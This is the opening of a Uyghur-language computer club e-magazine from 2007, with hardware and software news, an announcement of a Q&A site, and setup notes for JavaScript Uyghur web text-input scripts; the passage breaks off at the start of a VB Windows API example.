
www.xjprgfan.com
ئۇيغۇر كومپيۇتېر مەستانىلىرى
تور ژورنىلى
UYGHUR COMPUTER CLUB
«بىلىش» سىستېمىسى رەسمىي ئىشقا چۈشتى
2006-يىلىدىكى ئۈچ چوڭ قاتتىق دېتالغا نەزەر
ئۇيغۇرچە يېڭى تور يۈزى كۆرگۈچىسى
ۋىرۇس ياساش ماھارىتىدىن بىر مىسال
2007
3
شىنجاڭ پروگرامما ھەۋەسكارلىرى كۇلۇبى
تەھرىر: سەزگۈر
مۇقاۋا لايىھىلىگۈچى: ئادىل
http//www.Uyghurcfan.com

# مۇندەرىجە

## ☆ كومپيۇتېر خەۋەرلىرى ☆

2006-يىلدىكى ئۈچ چوڭ قاتتىق دېتالغا نەزەر........نەۋشاد 3
Office2007 زور مۇۋەپپەقىيەتكە ئېرىشتى........سەزگۈر 4
ئۇيغۇرچە «بىلىش» سىستېمىسى رەسمىي ئىشقا چۈشتى........كۆلۈپ خەۋىرى 5
IE7 خەنزۇچە تور نامىنى ۋە موڭغۇل،ئۇيغۇر يېزىقىنى قوللايدۇ........سەزگۈر 6

## ☆ پروگراممىا بىلىملىرى ☆

ئۇيغۇرچە يېڭى تور يۆزى كىرگۈزگۈچىسى(A,B,C)........مايور 6
[API]سىستېما قاچىلانغان دىسكىنى ئېلىش ........مايور 8

## ☆ تور دەرىسخانىسى ☆

يوشۇرۇن ھۆججەت قىسقۇچلارنى ئاچقىلى بولمىغاندا........تەدبىركار 9
ئىجرا(运行) دىكى بىر قىسىم تېز قوزغىتىش بۇيرۇقلىرى........نەۋشاد 10
Thumbs.db قانداق ھۆججەت؟........تەدبىركار 11
迅雷 نىڭ چۈشۈرۈش سۈرئىتىنى تېزلىتىش........ئابدۇغېنى 12

## ☆ يۇمشاق دېتال سالونى ☆

Windows XP گە باشقۇرغۇچى تەكلىپ قىلىش........نەۋشاد 12
3D ئىشلەش يۇمشاق دېتالى Blander2.43 Final........تەدبىركار 18

## ☆ تور بىلىملىرى ☆

POP3 ۋە STMP نىڭ مەنىسىنى چۈشىنەمسىز؟........تەدبىركار 18
تور بەتكە ICON بەلگىلەش........تەدبىركار 19

## ☆«بىلىش» تىن سوئال-جاۋابلار ☆

«بىلىش» سىستېمىسىدىكى نادىر ھەل بولغان سوئال-جاۋابلار........بىلىش 20

## ☆ خاككېرلار رىۋايىتى ☆

VBS ۋىرۇسىنىڭ ئەسلى كودى........ۋىرۇس 23

## ☆ كومپيۇتېر بىلەن ئۆتكەن ھايات ☆

پروگراممېر بىلەن مۇھەببەتلىشىش ھەققەتەن مۈشكۈل........تەدبىركار 26

# كومپيۇتېر خەۋەرلىرى

## 2006-يىلدىكى ئۈچ چوڭ قاتتىق دېتالغا نەزەر

2006-يىلى قاتتىق دېتال بىر تەرەپ قىلغۇچ تېخنىكىسىنىڭ ئۈچقاندەك تەرەققى قىلىشى بۈگۈنكى كۈندە ئىلگىرىكى بازارلاردىكى باھاسى قىممەت بولغان دېتاللارنى كىشىلەرگە يېقىنلاشتۇردى. DDR2 تېخنىكىسى رەسمىي ھالدا DDR نىڭ ئورنىنى ئېلىپ ئاساسىي ئېقىمغا ئايلاندى . تىكلەشتۈرۈش تېخنىكىسى ئىشلىتىلگەن قاتتىق دىسكا دۇنياغا كەلدى ھەمدە سىغىمىنىڭ چوڭىيىشى ۋە يۇقىرى زىچلىقلىششقا قاراپ يۈرۈش قىلدى. يۇقىرىقىلارنىڭ ھەممىسى بىزگە2006-يىلى ئەسلەشكە ئەرزىيدىغان نەرسىلەرنى قالدۇردى .

## CPU

AMD بىلەن Intel نىڭ كۈچ سىنىششى داۋاملىشىۋاتقىنىدا، AM2 بىر تەرەپ قىلغۇچ بىلەن Core2 بىر تەرەپ قىلغۇچىنىڭ بازارغا سېلىنىشى CPU بازىرىدىكى ئىككى چوڭ بۆرۈلۈش نۇقتىسى بوپ قالدى . AMD بىلەن Intel نىڭ كەڭ كۆلەمدە تەشۋىق قىلىشى بىلەن قوش نېگىز ئۇقۇمى كىشلەرنىڭ كاللىسىغا چوڭقۇر سىڭىپ كىردى .

AMD تەرەپ : 2006-يىلى5-ئاينىڭ 23-كۈنى، AMD يېڭى بىر ئەۋلاد AM2 تېخنىكىلىق بىر تەرەپ قىلغۇچنى بازارغا سالدى . بۇ بىر تەرەپ قىلغۇچ DDR2 ساقلىغۇچقا بولغان قوللاشچانلىقنى ئاشۇردى ،بۇ جەھەتتىكى تېخنىكىنىڭ ئەلالاشقانلىقى DDR2 تېخنىكىسى رەسمىي ھالدا DDR نىڭ ئورنىنى ئېلىپ ئاساسىي ئېقىمغا ئايلانغانلىقنى جەزملەشتۈردى. 2006-يىلى7-ئاينىڭ 24-كۈنى AMD شىركىتى 5مىليارد400مىليون ئامېرىكا دوللىرىغا ATi شىركىتىنى سېتىۋالغانلىقنى ئېلان قىلدى. 2006-يىلى10-ئاينىڭ 18-كۈنى كەلگەندە ATi شىركىتىنى سېتىۋېلىش خىزمىتىنىڭ ئوڭۇشلۇق تاماملانغانلىقنى جاكارلىدى. شۇنىڭ بىلەن بىرلا ۋاقىتتا AMD ۋاقتىنى قولدىن بەرمەي CPU بىلەن GPU بىرلەشتۈرۈلگەن يېڭى تىپتىكى بىر تەرەپ قىلغۇچ مۇھىتى "Fusion" نى ئېلان قىلدى. ھەمدە كېلەر يىلى 迅驰 سېلىشتۇرۇلغان يۈتكىلىشچان مۇھىتنى بازارغا سالىدىغانلىقنى بىلدۈردى .

Intel تەرەپ : ئەينى ۋاقىتتىكى Pentium D دىن بۈگۈنكى كۈندىكى Core 2 Duo غىچە قوش نېگىزلىك بىر تەرەپ قىلغۇچىنىڭ بىخ ھالىتىدىن تەرەققى قىلىپ پىشقان ھالەتكە كېلىش جەريانىدا ، ئىشلەتكۈچىلەر بۇرۇنقى Pentium D قوش نېگىزلىك بىر تەرەپ قىلغۇچ پەقەت ئاددىيغىنە ئىككى نېگىزنى بىرلەشتۈرۈش ئارقىلىق ياسالغان «يالغان قوش نېگىز» دەپمۇ تەنقىدلىدى. 2006-يىلى7-ئاينىڭ27-كۈنگە كەلگەندە Intel شىركىتى Core 2 مىكرو قۇرۇلما سىستېما تۈزۈلۈشى قوللىنىلغان Core 2 Duo بىر تەرەپ قىلغۇچنى ئېلان قىلدى . شۇنىڭ بىلەن ئەھۋالدا ئۆزگىرىش بولدى. ئۇنىڭغا 65نانومېتىرلىق ياساش ھۈنەر سەنئىتى قوللىنىلغان بولۇپ نۇرغۇن يېڭى تېخنىكىلار. كۈچلۈك ئىقتىدار ،ئەڭ تۆۋەن سەرپىيات ناھايىتى تېز سۈرئەتتە ئىشلەتكۈچىلەرنىڭ قىزغىن ئالقىشغا ئېرىشتى. ئىككى ئاي ئىچىدىلا سېتىلىش مىقدارى 5مىليون دىن ئېشىپ ناھايىتى ياخشى سېتىش نەتىجىسى ياراتتى. يېڭى تېخنىكىلارنىڭ چىقىشى كونا تېخنىكىلارنىڭ چېكىنىشىنىڭ بەلگىسى بوپ قالدى. شۇ يىلى 11-ئاينىڭ18-كۈنى Intel ئۆزلىرىنىڭ 950 Pentium D ۋە960 تىپلىق بىر تەرەپ قىلغۇچنى ياساشنى توختاتقانلىقنى ئېلان قىلدى. ئارقىدىنلا Core D 315\320\330\340 لىرنىمۇ ئىشلەشنى توختىتىش تىزىملىكىگە كىرگۈزدى. Intel نىڭ يېڭى ئەۋلاد Core سى پېنتىيۇمدىنمۇ ئەڭ ياخشى مەھسۇلاتى بولۇپ قالامدۇ ؟بۇنى بىزمۇ كۈتۈۋاتىمىز !

## ئىچكى ساقلىغۇچ

2005-يىلى ئاز بولمىغان داڭلىق ماركىلىق DDR 2 ساقلىغۇچلار بارلىققا كەلدى ،بىراق باھاسىنىڭ ناھايىتى قىممەت بولىشى كەڭ كۆلەمدە تارقىلىشغا تەسىر كۆرسەتتى . 2006-يىلى DDR 2 ساقلىغۇچىنىڭ باھاسى تېز سۈرئەتتە چۈشتى. ئۇنىڭ ئۈستىگە 945ئۆزەك گۇرۇپپىسى DDR دىن ۋاز كېچىپ DDR 2 نى ئۆزىنىڭ ئەڭ ياخشى ئەرمىكى قىلىۋالدى، AM2 بىر تەرەپ قىلغۇچىنىڭ DDR 2 نى قوللايدىغان بولۇشى Core 2 بىر تەرەپ قىلغۇچىنىڭ ئېلان قىلىنىشى. يۇقىرى چاستوتىلىق DDR 2 ساقلىغۇچىنىڭ بازىرىنى چىقىرىۋەتتى نۆۋەتتە DDR 2 667 بازاردىكى ئەڭ ئاساسى ئېقىم بوپ قالدى . كېلەر يىلى (2007يىلى) DDR 2 800 نىڭ ئاساسى ئېقىم بولۇپ قېلىشى ئېنىق ئىدى. شۇنداق قىلىپ ساقلىغۇچىنىڭ سىغىممۇ ئۆستى ، 512MB لىق ساقلىغۇچ ھازىرقى ماشىنىلارغا سەپلىنىدىغان ئەڭ تۆۋەن چەك بوپ قالدى ، VISTA نىڭ يېقىنلىششغا ئەگىشىپ تاق ھالەتتىكى 1G لىق ساقلىغۇچ بارا-بارا ئېتىبارغا ئېرىششكە

2Gلىق ساقلىغۇچ ئالىلقاچان بازارغا سېلىندى .

# قاتتىق دىسكا

كىشىلەرنىڭ تۇرمۇش سەۋىيىسىنىڭ ئۆسۈشىگە ئەگىشىپ ،رەقەملەشكەن كۆڭۈل ئېچىش ۋاستىلىرىنىڭ ئومۇملىشىشىغا ئەگىشىپ كىشىلەرنىڭ ساقلاش سىغىمىغا بولغان تەلىپى كۈنسايىن ئاشماقتا .1956-يىلى قاتتىق دىسكا دۇنياغا كەلگەندىن باشلاپ ھازىرغا قەدەر بۇرۇنقى نەچچە MB لىق قاتتىق دىسكىدىن تەرەققى قىلىپ ھازىرقى 500GB سىغىمدىكى قاتتىق دىسكىلار بارلىققا كەلدى ھەمدە دىتالىنىڭ چوڭ-كىچىكلىكى جەھەتتە غايەت زور مۆجىزىلەر بارلىققا كەلدى .يىغى بىر ئەۋلاد تېز ساقلاش تېخنىكىسى ئۆچۈرلارنى بۇرۇنقى گورىزونتال ھالەتتە ساقلاشتىن تىك ھالەتتە ساقلاشقا ئۆزگەرتىپ ،بىرلىك يۈزدىكى سانلىق مەلۇماتلارنى ساقلاش بىرلىكىنى ئاشۇردى ھەمدە سانلىق مەلۇماتنىڭ بۇزغۇنچىلىقتا ئۇچراش خەتىرىنى ئەڭ يۇقىرى چەكتە تۆۋەنلەتتى . سىرتقى ئۇلاش ئېغىزى IDE ئومۇمىيۈزلۈك SATAغا يۇقىرى كۆتۈرۈلۈپ قاتتىق دىسكىنىڭ ئۆچۈر ئەۋەتىش يولىنى كېڭەيتتى.

يېڭى بىر يىل ئالىلقاچان باشلىنىپ بولدى ،ئۆتكەن بىر يىل ھەقىقەتەن بىزنى ئۆزىگە جەلىپ قىلالىتى .لېكىن بىز كونا يىلدا توختاپ قالماسلىقىمىز كېرەك . 2007-يىلى تېخىمۇ ياخشى قاتتىق،يۇمشاق دېتاللار بىزنىڭ كۆز ئالدىمىزدا پەيدا بولغۇسى !!!

خەۋەر ئەسلى مەنبەسى: http://www.uyghurcfan.com/article/show.asp?id=34

# Office 2007زور مۇۋەپپەقىيەتكە ئېرىشىپ سېتىلىش كىرىمى بىر ھەسسە قاتلاندى

Windows VISTA بىللە تارقىتىلىش بەلكىم Office 2007 نىڭ بىر ھەسرەتلىك قىسمىتى بولسا كېرەك،سۇزۇك يېڭى كۆرۈنمە يۈزىمۇ Areo Glass تەرىپىدىن پۈتۈنلەي توسۇۋېلىندى،ئۇنىڭ ئۈستىگە چوڭ كۆلەملىك ئېلانمۇ كۆپ بولمىدى،لېكىن بۇلار مىكروسوفتنىڭ يېڭى يۇرۇشلۇك ئىشخانا ئاپتوماتلاشتۇرۇش قوراللىنىڭ مۇۋەپپەقىيىتىنى توسالمىدى.ستاتىستىكىلارغا ئاساسلانغاندا، Office 2007تۇنجى ھەپتىدىكى سېتىلىش مىقدارى ۋە كىرىمى Office 2003 دىن ئىككى ھەسسە ئېشىپ كەتكەن.

پارچە سېتىش ئىستېمالىنى تەكشۈرۈش ئورگىنى NPD Group نىڭ سانلىق كۆرسىتىشىدە، Office 2007ئېلان قىلىنغاندىن كېيىنكى بىر ھەپتىدىكى سېتىلىش مىقدارى Office 2003 نىڭ ئوخشاش ۋاقىتتىكى سەۋىيىسىدىن 108.6% ئاشقان،لېكىن ئوتتۇرىچە باھاسى 1.1 %تۆۋەنلەپ 206.93 دوللار بولغانلىقتىن، Office 2007نىڭ مىكروسوفتقا ئېلىپ كەلگەن كىرىمى Office 2003گە قارىغاندا 106.3% ئاشقان ھېسابلىنىدۇ.

NPD Groupيەنە مۇنۇلارنى بىلدۈرۈپ،بىرقىسىم پارچە سېتىش ئورۇنلىرى بۇ تەكشۈرۈشكە ۋاقتىدا قاتنىشالمىغانلىقتىن بۇ مەلۇماتتا ئازراق مەسىلە بولۇشى مۇمكىن، Office 2007نىڭ ئەمەلىي سېتىلىشى بۇنىڭدىن ياخشى ئىكەنلىكى ئېنىقلىقنى ئېيتتى.

NPDيۇمشاق دېتالچىلىق تەھلىل مەسئۇلى Chris Swenson كۆرسىتىپ، Office 2007نىڭ ئائىلە ۋە ئوقۇغۇچىلار نۇسخىسىنىڭ باھاسىنىڭ چۈشۈرۈلۈشى پۈتۈن ئوتتۇرىچە باھانىڭ چۈشۈپ كېتىشىنى كەلتۈرۈپ چىقارغان ئاساسلىق سەۋەب،لېكىن ئۆتكەن يىلىنىڭ ئاخىرىدا تارقىتىلغان سودا نۇسخىسىنىڭ ئىپادىسى ئەڭ كۆرۈنەرلىك بولۇپ،سېتىلىش مىقدارى ئوخشاش مەزگىلدىكىدىن 61.3%،كىرىم 97.8 %ئاشتى،چۈنكى ئوتتۇرىچە باھا 22.6% ئۆستۈرۈلگەن بولۇپ،باھاسى 301.33 دوللار ئىدى .




خەۋەر مەنبەسى: http://www.uyghurcfan.com/article/show.asp?id=32

# ئۇيغۇرچە «بىلىش» سىستېمىمىز رەسمىي ئىشقا چۈشتى




«پروگراما ھەۋەسكارلىرى كۇلۇبى» ئېلان قىلغان 2 ـ قېتىملىق ئىجادىيەت : «بىلىش» سوئال ـ جاۋاب سىستېمىسى رەسمىي ئىشقا چۈشتى . پروگراممىسى ASP+HTML دا يېزىلغان بولۇپ ، توردا ئاشكارىلانغان سوئال ـ جاۋاب سىستېمىسىنىڭ كودىنى تەھلىل قىلىپ تۈزۈپ چىقتۇق.مۇنداقچە ئېيتقاندا 50% كود كۇلۇبىمىزنىڭ تېخنىكلىرى تەرىپىدىن تۈزۈلگەچكە يەنە كېلىپ ھەممىمىز كەسپىي پروگراممېرلاردىن بولمىغانلىقىمىز ئۈچۈن ، خاتالىقلارنىڭ چىقىشى مۇقەررەر . پروگراممىنى ئىشلىتىش جەريانىدا قانداق خاتالىققا ئۇچرىسىڭىز http://www.xjprgfan.com/bbs/ShowPost.asp?ThreadID=510 تېمىسىنىڭ ئاستىغا خەۋەرلەندۈرۈڭ . خەۋەرلەندۈرگۈچىگە بىلىش سىستېمىسىنىڭ 500 نومۇر جۇغلانمىسى سوۋغا قىلىنىدۇ.

ئۇنداقتا بىلىش سىستېمىسى دېگەن نېمە ؟

بۇ بىر پەقەت سوئال سوراش ۋە جاۋاب بېرىش مەشغۇلاتىنى ئېلىپ بارىدىغان سىستېما بولۇپ ، تۇنجى تىزىملاتسىڭىز 100 نومۇر جۇغلانما بېرىدۇ . ھەر بىر سوئال سورىسىڭىز 1 نومۇر جۇغلانمىڭىز تۇتۇلىدۇ . جاۋاب بەرسىڭىز 1 نومۇر جۇغلانما بېرىلىدۇ . ناۋادا بەرگەن جاۋابىڭىز سوئال سورىغۇچى تەرىپىدىن ئەڭ ئېسىل جاۋاب قىلىنسا سوئال سورىغۇچى تەمىنلىگەن مۇكاپات جۇغلانمىغا ئېرىشكەندىن سىرت يەنە سىستېما بەرگەن 10 نومۇر جۇغلانمىغا ئېرىشىدۇ ، جۇغلانمىڭىز قانچە كۆپ بولسا شۇنچە كۆپ سوئال سوراش پۇرسىتىگە ئىگە بولىسىز . بۇ جەريانلار ھەممىسى ھەقسىز ! ئىشىنىمىزكى ، جۇغلانما تۈزۈمى دوستلارنىڭ سوئاللارغا بولغان ئەستايىدىللىقىنى قوزغىيالايدۇ ،ھەممەيلەننىڭ ئورتاق تىرىشىشى نەتىجىسىدە «بىلىش» تور بېكىتى ھەر تۈرلۈك بىلىملەر توپلانغان بىلىم قامۇسى بولۇپ قالغۇسى.

ئۇقتۇرۇش : پروگراما ھەۋەسكارلىرى كۇلۇبىنىڭ مەزمۇنلىرىغا ئىسلاھ ئېلىپ بېرىلىدۇ . بارلىق ياردەم تەلەپ قىلىدىغان ، ئۇنۇم تەلەپ قىلىدىغان سوئاللار بىردەك بىلىش تورىغا يۆتكىلىدۇ ، مەزكۇر مۇنبەرگە پەقەت پروگراما تىلى ۋە ھېسابلاش ئۇسۇللىرى ھەققىدە مۇنازىرە ئېلىپ بېرىلىدۇ ...

# IE7 خەنزۇچە تور نامنى ۋە موڭغۇل،ئۇيغۇر يېزىقىنى قوللايدۇ

جۇڭگو ئىنتېرنېت ئۇچۇر مەركىزى (CNNIC)نىڭ خەۋىرىگە قارىغاندا،مىكروسوفت شىركىتى ئېلان قىلغان ئەڭ يېڭى IE7.0 نىڭ خەنزۇچە نەشرى خەنزۇچە CN. تور نامنى قوللايدىكەن.جۇڭگو ئىنتېرنېت ئۇچۇر مەركىزىنىڭ مۇدىرى ماۋۋېيىنىڭ بىلدۈرۈشىچە،بۇ IEبىلەن CN. تور نامىنىڭ توسالغۇسىز بىرىكتۈرۈلۈشىنىڭ ئەمەلىيلەشكەنلىكىدىن دېرەك بېرىدۇ.

مىكروسوفت جۇڭگو سەھنىسى ۋە ئېچىش ھەمكارلىق بۆلۈمىنىڭ باش نازارەتچىسى لىن يىنىڭ بىلدۈرۈشىچە، IE7.0نىڭ خەنزۇچە نەشرى ھازىر توردا چۈشۈرۈشكە تەمىنلەنگەن.مىكروسوفت شىركىتىنىڭ يېڭى ئەۋلاد مەشغۇلات سىستېمىسى Windows VISTAنىڭ مۇھىم قوشۇمچە قورالى بولۇش سۈپىتى بىلەن، IE7.0خەنزۇچە نەشرى Windows VISTA نىڭ خەنزۇچە نەشرى بىلەن بىللە تارقىتىلىدۇ.لىن يىنىڭ بىلدۈرۈشىچە، Windows VISTA تىبەت،موڭغۇل،ئۇيغۇر قاتارلىق بىر قانچە ئاز سانلىق مىللەت يېزىقىنى قوللايدىكەن.لىن يى تەكىتلەپ،مىكروسوفت باشتىن-ئاخىرى ئابونتلارنىڭ تورغا چىقىشى ۋە كومپيۇتېر ئىشلىتىشىنىڭ ئاسان بولۇشىغا كۆڭۈل بۆلىدۇ، Windows VISTA تەمىنلىگەن ئىنتېرنېت مۇلازىمىتى بىخەتەرلىك،ئىشلىتىشكە ئاسان بولۇش قاتارلىق تەرەپلەردە زور ئىلگىرىلەشلەرگە ئېرىشىشكە كاپالەتلىك قىلىدۇ.

مەركىزى ئورگان شتات كومىتېتى ئىشخانا كەسپىي تەرەققىيات مەركىزىنىڭ مۇدىرى جاڭ ۋېيدوڭنىڭ بىلدۈرۈشىچە،پۈتۈن مەملىكەت بويىچە 5000 دىن ئارتۇق ھۆكۈمەت ئورگىنى ۋە كەسپىي ئورۇنلار خەنزۇچە CN. تور نامى ئالغان.جاڭ ۋېيدوڭ يەنە:"خەنزۇچە CN. تور نامنى ئىلتىماس قىلىپ ئېچىش ھۆكۈمەت ئورگانلىرىغا ئېچىۋېتىلگەن بولۇپ،ھۆكۈمەت ئىشلىرىنى ئېلېكترونلاشتۇرۇش ۋە پارلاق ھۆكۈمەت قۇرۇش ئىشلىرىدا ناھايىتى زور ئىلگىرى سۈرۈش رولى بار.ئۇنىڭدىن باشقا،كارخانىلارنى ئۇچۇرلاشتۇرۇشقا يېتەكچىلىك قىلىشتا مۇھىم رولى بار"دېدى.

توردىكى ئادرېسى: http://www.uyghurcfan.com/article/show.asp?id=5

# پروگرامما بىلىملىرى

## ئۇيغۇرچە يېڭى تور يۈزى كىرگۈزگۈچىسى (A,B,C)

### ئۇيغۇرچە يېڭى تور يۈزى كىرگۈزكۈچىسى(A)

بۇ بىر تور يۈزىدىكى TextArea ۋە input لارغا ئۇيغۇرچە كىرگۈزىدىغان قولىيازما ھۆججەتتىدىن ئىبارەت ... كىرگۈزگۈچنىڭ ئالاھىدىلىكى شۇكى ئىشلىتىش ئالاھىدە ئوڭاي ۋە بىرىكمە كونۇپكىلارنىڭ تۇراقلىقلىقى ياخشى ھەمدە كۆپ خىل جاھانناملەردە ئىشلەيدۇ،شۇنداقلا سىغىمى ئالاھىدە كىچىك،ئاساسىي ئالاھىدىلىكى:

1. ئادەتتە بۇ ھۆججەتنى تور بەتنىڭ ئىچىگە ئەكىرگەندە <head> بىلەن </head> نىڭ ئارىسىغا:

Code:

```
<script language=javascript src="UyghurInput_A.js"></script>
```

كودىنى قىستۇرسىڭىزلا ، تور يۈزىدىكى بارلىق تېكىست رامكىلىرىغا ئۇيغۇرچە كىرىدىغان ھالەتكە كېلىدۇ.( TextArea ۋە input نى دېمەكچىمەن ) . ئۇنىڭدىن باشقا پارول رامكىسى ، تاللاش رامكىسى قاتارلىقلارغا ھېچقانداق تەسىر كۆرسەتمەيدۇ . يۇقىرىقى كودتىن باشقا ھېچقانداق كود قوشمايسىز ياكى ئالاھىدە مەشغۇلات قىلمايسىز.

2. بىرىكمە كونۇپكىلىرى ئەتراپلىق مۇھاكىمە قىلىندى:

1)ئەگەر Internet Explorer دا بولسا:

Control + Kئىنگلىزچە ۋە ئۇيغۇرچە ئالماشتۇرىدۇ.

Control + Tبولسا يېزىق رامكىسىنىڭ يۆنىلىشىنى ئالماشتۇرىدۇ.

Control + Uئارقىلىق ULY دىن كۆچۈرگەن مەزمۇننى ئۇيغۇرچە كونا يېزىق ھالىتىدە چاپلىيالايسىز.

Shift+Tئارقىلىق ھەرپلەرنى سوزالايسىز.

(ئەلكاتىپ كودى نۆۋەتتە ئەمەلدى ئاساسەن قالغانلىقى ئۈچۈن ھەمدە ھۆججەت چوڭلۇقىنى كۆزدە تۇتۇپ ئەلكاتىپتىن كۆچۈرۈپ چاپلاش ئىقتىدارى ئېلىۋېتىلدى)

2) ئەگەر Maxthon دا بولسا:

Control+ B ئارقىلىق ئۇيغۇرچە ئىنگلىزچە ئالماشتۇرىدۇ.

Control + Jئارقىلىق يېزىق رامكىسى يۆنىلىشىنى ئۆزگەرتىدۇ.

Control + Uئارقىلىق ULY دىن چاپلايدۇ .

Shift+Tئارقىلىق ھەرپ سوزىدۇ.

3) ئەگەر FireFox دا بولسا:

Control+Kئارقىلىق ئۇيغۇرچە ئىنگلىزچە ئالماشتۇرىدۇ.

Control+Tئارقىلىق رامكا يۆنىلىشىنى ئۆزگەرتىدۇ.

Shift + Tئارقىلىق يېزىق سوزىدۇ.

باشقا تور كۆرگۈچلەردە سىناپ باقمىدىم...

---------------------------------------------------------------------

ئومۇمەن يۇقىرىقىدەك ئالاھىدىلىككە ئىگە ، مەزكۇر پروگراممىنىڭ بىرىكمە كونۇپكا ئىقتىدارلىرىنى يولغۇن تور بېكىتىدىن مۇھەممەتجان ئابدۇللا ئەپەندى ئىشلىگەن bedit.js نىڭ ئىقتىدارى بىلەن ئوخشاش قىلىپ لاھىيلىدىم . بىر قىسىم تورداشلار Firefox دا bedit.js نىڭ بىرىكمە كونۇپكىسىدا تۇراقسىزلىق ، بەزى كومپيۇتېرلاردا نورمال ، بەزى كومپيۇتېرلاردا نورمال بولماسلىقتەك ئەھۋالنى ھەمدە تور بەت ئېچىلىپ خېلى ۋاقىتقىچە ئۇيغۇرچە كىرگۈزگىلى بولماسلىقتەك ئەھۋالنى مەلۇم قىلغاچقا مەزكۇر پروگراممىنى تۈزۈپ چىقتىم ... نۆۋەتتىكىسى بۇ كىرگۈزگۈچنىڭ A نۇسخىسى بولۇپ ، بۇنىڭدىن باشقا باشقا B ، C ۋە D دىن ئىبارەت ئۈچ نۇسخىسى بار.

تورداشلارنىڭ ئىشلىتىپ تەنقىد-پىكىر كۆرسىتىشىنى ئۈمىد قىلىمىز ... نۆۋەتتە پروگرامما ھەۋەسكارلىرى كۆلۈبى ھەرقانداق كۆپ ئىقتىدارلىق تەھرىرلىگۈچكە ئۇيغۇرچە كىرگۈزەلەيدىغان ئورتاق JS ھۆججىتىنى تەتقىق قىلىۋاتىدۇ ... قولىيازما تىلىغا نىسبەتەن چۈشەنچىسى ئېنىق دوستلارنىڭ ھەمكارلىششىنى ئۈمىد قىلىمىز...

چۈشۈرۈش : http://www.xjprgfan.com/Upfiles/20070315/UyghurInput_A.rar

ماقالە ئادرىسى : http://www.xjprgfan.com/bbs/ShowPost.asp?ThreadID=491

## ئۇيغۇرچە يېڭى تور يۈزى كىرگۈزگۈچىسى(B)

ئاۋۋال تور بەتنىڭ <head> ۋە <head/> نىڭ ئىچىگە تۆۋەندىكى كودنى يازىمىز:

Code:
```
<script language=javascript src="UyghurInput_B.js"></script>
```

بۇنى يازغاندىن كېيىن ، مۇشۇ Js ھۆججىتىنىڭ ئۈستىدىن سانىغاندا 6 ـ قۇردا تۆۋەندىكى كود بار:

Code:
```
var uyghur_OBJ="username,user_name";
```

بۇنىڭ ئىچىدە username ۋە user_name دېگەن ئىسىملەر (،) بەلگىسى بىلەن ئايرىلغان ھالەتتە بولۇپ ، ئەگەر سىز بۇ ئىسىملارنى ئۆزگەرتسىڭىز ، ياكى كۆپەيتسىڭىز (كۆپەيتكەندە چوقۇم ، بىلەن ئايرىشىڭىز كېرەك) ، ناۋاد تور بەت يۈزىدىكى تېكىست

name خاسلىقى ياكى id خاسلىقىدىن خالىغان بىرىنى كىرگۈزسىڭىز ، شۇ تېكىست رامكىسىغا ئۇيغۇرچە كىرمەيدۇ name خاسلىقى يېزىلمىغان ياكى Id خاسلىقى يېزىلمىغان تېكىست رامكىلىرىنىڭ ھەممىسىگە نورمال ئۇيغۇرچە كىرىدۇ . مەسىلەن:

Code:
```
var uyghur_OBJ="username,user_name,aaa,bbb,ccc";
```

JSھۆججىتىنىڭ بۇ بۆلەكتىكى مەزمۇنىنى يۇقىرىقىدەك ئۆزگەرتكەندىن كېيىن ، JS ھۆججىتى تور بەتكە ئىپسىلسىلا ، ئىسمى يۇقىرىقى aaa ياكى bbb ياكى ccc ياكى ddd ... بولغان تېكىست رامكىلىرىغا ئۇيغۇرچە كىرمەيدۇ ، قالغانلىرىغا نورمال ئۇيغۇرچە كىرىدۇ...

باشقا ئىقتىدارلىرى A نۇسخىنىڭكى بىلەن ئوپمۇ ئوخشاش!

چۈشۈرۈش ئادرېسى : http://www.xjprgfan.com/Upfiles/20070315/UyghurInput_B.rar

ماقالە ئادرېسى : http://www.xjprgfan.com/bbs/ShowPost.asp?ThreadID=492

## ئۇيغۇرچە يېڭى تور يۈزى كىرگۈزگۈچىسى(C)

بۇنىڭ ئالاھىدىلىكى تۆۋەندىكىدەك:

ئاۋۋال تور بەتنىڭ <head> ۋە </head> كودىنىڭ ئارىسىغا تۆۋەندىكى كودنى قىستۇرىمىز:

Code:
```
<script language=javascript src="UyghurInput_C.js"></script>
```

بۇ كود قىستۇرۇلۇپ بولغاندىن كېيىن ، JSھۆججىتىنى ئېچىپ ئۈستىدىن سانىغاندا 6 قۇردا يېزىلغان تۆۋەندىكى كودلارنى كۆرىمىز:

Code:
```
var uyghur_OBJ="username,user_name";
```

بۇنىڭ ئىچىدىكى username ۋە user_name بولسا مەلۇم تېكىست رامكىسىنىڭ ID خاسلىقى ياكى name خاسلىقىدىن خالىغان بىرى بولۇپ ، بۇلار ئۆزئارا پەش (،) بىلەن ئايرىلغان ھالەتتە . ئەگەر سىز خالىغان تېكىست رامكىسىنىڭ id سىنى ياكى nameنى بۇ يەرگە كىرگۈزسىڭىز ، تور بېتىڭىزدىكى شۇ تېكىست رامكىسىلا ئۇيغۇرچە يېزىلىدۇ ، يېزىلمىغانلىرىغا بولسا ئۇيغۇرچە كىرمەيدۇ ... مەسىلەن:

Code:
```
var uyghur_OBJ="aaa,bbb,ccc";
```

دەپ ئۆزگەرتسەم ، توربەت يۈزىدىكى تېكىست رامكىلىرى ئىچىدە ID سى ياكى name ى aaa , bbb , ccc بولغانلىرىغا بىۋاستە ئۇيغۇرچە كىرگۈزۈلىدۇ ... قالغانلىرىغا كىرگۈزۈلمەيدۇ...

قالغان بىرىكمە كونۇپكا ئىقتىدارلىرى A نۇسخىسى بىلەن ئوخشاش...

چۈشۈرۈش ئادرېسى : http://www.xjprgfan.com/Upfiles/20070315/UyghurInput_C.rar

ماقالە ئادرېسى : http://www.xjprgfan.com/bbs/ShowPost.asp?ThreadID=493

## [API]سىستېما قاچىلانغان دىسكىنى ئېلىش

ئادەتتە پروگراما يازغاندا سىستېما تۇرغان دىسكىنى ئېلىش زۆرۈر بولۇپ قالىدۇ ، ئادەتتىكى ئەھۋالدا سىستېما C دىسكىغا قاچىلانغان بولىدۇ ، يەنى سىستېما مۇندەرىجىسى XP بولسا c:\Windows بولىدۇ ، ناۋادا 2000 بولۇپ قالسا C:\WinNT بولىدۇ ، ناۋادا سىستېما قاچىلانغان رايون D رايون بولسا ئۇ ھالدا يۇقىرىدىكى ئادرېسلار تامامەن باشقىچە بولىدۇ . ئۇنداقتا قانداق قىلىپ ئەڭ ئاسان ئۇسۇلدا سىستېما مۇندەرىجىسىنى ئالغىلى بولىدۇ ؟

ۋىندوۋس API بىزگە GetSystemDirectory دېگەن فۇنكسىسيەنى تەمىنلەپ بەرگەن بولۇپ ، VBدا ئۇنى تۆۋەندىكى ئۇسۇل بويىچە ئىشلىتەلەيمىز:

Code:

```
